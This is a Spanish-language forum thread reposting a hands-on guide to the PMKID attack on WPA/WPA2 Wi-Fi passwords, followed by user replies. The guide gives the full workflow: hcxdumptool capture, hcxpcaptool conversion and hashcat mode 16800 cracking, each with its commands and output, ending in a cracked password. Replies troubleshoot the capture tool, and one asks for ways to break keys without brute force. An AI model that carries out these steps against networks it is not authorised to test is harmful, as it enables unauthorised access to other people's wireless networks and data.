Nuevo ataque a WPA/WPA con PMKID

Iniciado por puntoCL, Agosto 06, 2018, 07:44:40 PM

Tema anterior - Siguiente tema

0 Miembros y 4 Visitantes están viendo este tema.

Agosto 06, 2018, 07:44:40 PM Ultima modificación: Agosto 07, 2018, 04:59:55 PM por puntoCL
En este escrito, describiré una nueva técnica para descifrar contraseñas WPA PSK "Clave precompartida" (Pre-Shared Key).

Para hacer uso de este nuevo ataque necesita las siguientes herramientas:


Este ataque fue descubierto accidentalmente mientras buscaba nuevas formas de atacar el nuevo estándar de seguridad WPA3. WPA3 será mucho más difícil de atacar debido a su moderno protocolo de establecimiento de claves denominado "Simultaneous Authentication of Equals" (SAE).

La principal diferencia con los ataques existentes es que en este ataque, no se requiere la captura de un EAPOL completo de 4 vías. El nuevo ataque se realiza en RSN IE (Elemento de información de red de seguridad robusta) de un único marco EAPOL.

En este momento, no sabemos para qué proveedores o cuántos enrutadores funcionará esta técnica, pero creemos que funcionará contra todas las redes 802.11i/p/q/r con funciones de itinerancia habilitadas (la mayoría de los enrutadores modernos).

Las principales ventajas de este ataque son las siguientes:


  • No se requieren más usuarios regulares, porque el atacante se comunica directamente con el AP (también conocido como ataque "sin cliente")
  • No más esperando un handshake completo de 4 vías entre el usuario regular y el AP
  • No más retransmisiones eventuales por EAPOL frames (lo que puede llevar a resultados imposibles de descifrar)
  • No más contraseñas eventuales no válidas enviadas por el usuario habitual
  • No más perdidas de EAPOL frames cuando el usuario regular o el AP está demasiado lejos del atacante
  • No se requiere fixing y replaycounter (lo que resulta en velocidades ligeramente más altas)
  • o más formato de salida especial (pcap, hccapx, etc.) - los datos finales aparecerán como una cadena codificada hexagonal regular




Detalles de ataque:

El RSN IE es un opcional campo que se puede encontrar en  802.11 Trama de gestión. Una de las capacidades de RSN es el PMKID.



El PMKID se calcula utilizando HMAC-SHA1 donde la clave es PMK y la parte de datos es la concatenación de una etiqueta de cadena fija "PMK Name", la dirección MAC del punto de acceso y la dirección MAC de la estación.

Código: php
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)


Como el PMK es el mismo que en un handshake EAPOL regular de 4 vías, este es un vector de ataque ideal.

Recibimos todos los datos que necesitamos en el primer marco de EAPOL del AP.




Mano a la obra:

1. Ejecute hcxdumptool para solicitar el PMKID desde el AP y para dump el frame recibido en un archivo (en formato pcapng).

Código: php
./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status


Salida

Código: php
start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69


Si un AP recibe nuestro paquete de solicitud de asociación y admite el envío de PMKID, veremos un mensaje "FOUND PMKID" después de un momento:

Código: php
[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]


Nota: En función del ruido en el canal wifi, puede llevar un tiempo recibir el PMKID. Recomendamos ejecutar hcxdumptool hasta 10 minutos antes de abortar.


2. Ejecute hcxpcaptool para convertir los datos capturados del formato pcapng a un formato hash aceptado por hashcat.

Código: php
./hcxpcaptool -z test.16800 test.pcapng


Salida

Código: php
start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800


El contenido del archivo escrito se verá así:

Código: php
2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a


Las columnas son las siguientes (todas codificadas con hexadecimal):


  • PMKID
  • MAC AP
  • MAC Station
  • ESSID

Nota: Aunque no es obligatorio, se recomienda utilizar las opciones -E -I y -U con hcxpcaptool. Podemos usar estos archivos para alimentar hashcat. Por lo general, producen buenos resultados.


  • -E recupera posibles contraseñas del tráfico WiFi (adicional, esta lista incluirá ESSID)
  • -I Recobro identidades del tráfico WiFi
  • -U Recupe los nombres de usuario del tráfico WiFi

Código: php
./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng


3. Ejecute hashcat para descifrarlo.

Básicamente podemos atacar este hash como cualquier otro tipo de hash. El modo hash que debemos usar es 16800.

Código: php
/hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'


Salida

Código: php
hashcat (v4.2.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf...a39f3a
Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs)
Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs)
Guess.Mask.......: ?l?l?l?l?l?lt! [8]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#2.....:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#3.....:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#4.....:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#*.....:  1641.3 kH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 66846720/308915776 (21.64%)
Rejected.........: 0/66846720 (0.00%)
Restore.Point....: 0/11881376 (0.00%)
Candidates.#1....: hariert! -> hhzkzet!
Candidates.#2....: hdtivst! -> hzxkbnt!
Candidates.#3....: gnxpwet! -> gwqivst!
Candidates.#4....: gxhcddt! -> grjmrut!
HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1

Started: Thu Jul 26 12:51:30 2018
Stopped: Thu Jul 26 12:52:21 2018


También hay soporte para hash-mode 16801, que permite omitir el cálculo de PMK, que es el cálculo que hace que craquear WPA sea tan lento. Precomputar PMK puede ser útil en casos en los que se encuentre en el sitio y no pueda transferir un hash a una plataforma de craqueo remoto debido a una NDA. El objetivo es ejecutar hashcat en su computadora portátil que puede llevar al sitio.

El modo 16801 espera una lista de PMK precalculados, como cadenas codificadas hexadecimales de longitud 64, como la lista de palabras de entrada. Para precalcular los PMK, puede usar la herramienta hcxkeys. Las herramientas hcxkeys requieren el ESSID, por lo que debe solicitar el ESSID de su cliente con anticipación.




Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





cuanto demoraría este ataque en una laptop comun y corriente con una dedicada de 128 bits y solo 1gb

Increible bro! Este fin de semanas lo voy a probar!
Muchas gracias!!

ANTRAX


Gracias por el aporte @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!

No conocía este método lo he estado mirando pero corrígeme si me equivoco en esencia los pasos a seguir para sacar la clave son iguales que los que se hacía con el handshake con la única diferencia que en este caso no precisa que un usuario este conectado. Pero la parte de fuerza bruta que es lo que intento evitar estos días que estoy buscando métodos para romperlas hay que hacerla igual.

Conoces algún método para sacar la clave que no requiera la fuerza bruta y no sea WPS ni que usa Fluxion que crea un fake AP.

Gracias,

Que tal muy bueno,
lo estoy probando pero al ejecutar el hcxdumptool en la opción --enable_status responde invalid argument specified

no se que estoy haciendo mal

hola pone --enable_status =3 y listo  saludos

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Gracias por el aporte @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!

No conocía este método lo he estado mirando pero corrígeme si me equivoco en esencia los pasos a seguir para sacar la clave son iguales que los que se hacía con el handshake con la única diferencia que en este caso no precisa que un usuario este conectado. Pero la parte de fuerza bruta que es lo que intento evitar estos días que estoy buscando métodos para romperlas hay que hacerla igual.

Conoces algún método para sacar la clave que no requiera la fuerza bruta y no sea WPS ni que usa Fluxion que crea un fake AP.

Gracias,

Si tocar al vecino y preguntar su password  8) De momento NO¡

En realidad, este ataque no ofrece notables novedades, pues al final se resume en un ataque por Hashcat, que será efectivo o no, así de robusta sea la clave WPA2.

Hago eco de lo que otros con más autoridad y experiencia observan sobre el caso.

Es cierto que es una vía novedosa de obtención de dicho Hashcat (sin handshake), y que el poder de computo va en aumento, pero... sigue condicionado a las ya conocidas reglas de descifrado.

Es un GPU Cracking... nada nuevo.

"2. Ejecute hcxpcaptool para convertir los datos capturados del formato pcapng a un formato hash aceptado por hashcat.

3. Ejecute hashcat para descifrarlo.

Básicamente podemos atacar este hash como cualquier otro tipo de hash.
"

Dicho de otro modo: el WPA2 sigue robusto y en pie.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Que tal muy bueno,
lo estoy probando pero al ejecutar el hcxdumptool en la opción --enable_status responde invalid argument specified

no se que estoy haciendo mal
pone --enable_status=1 y listo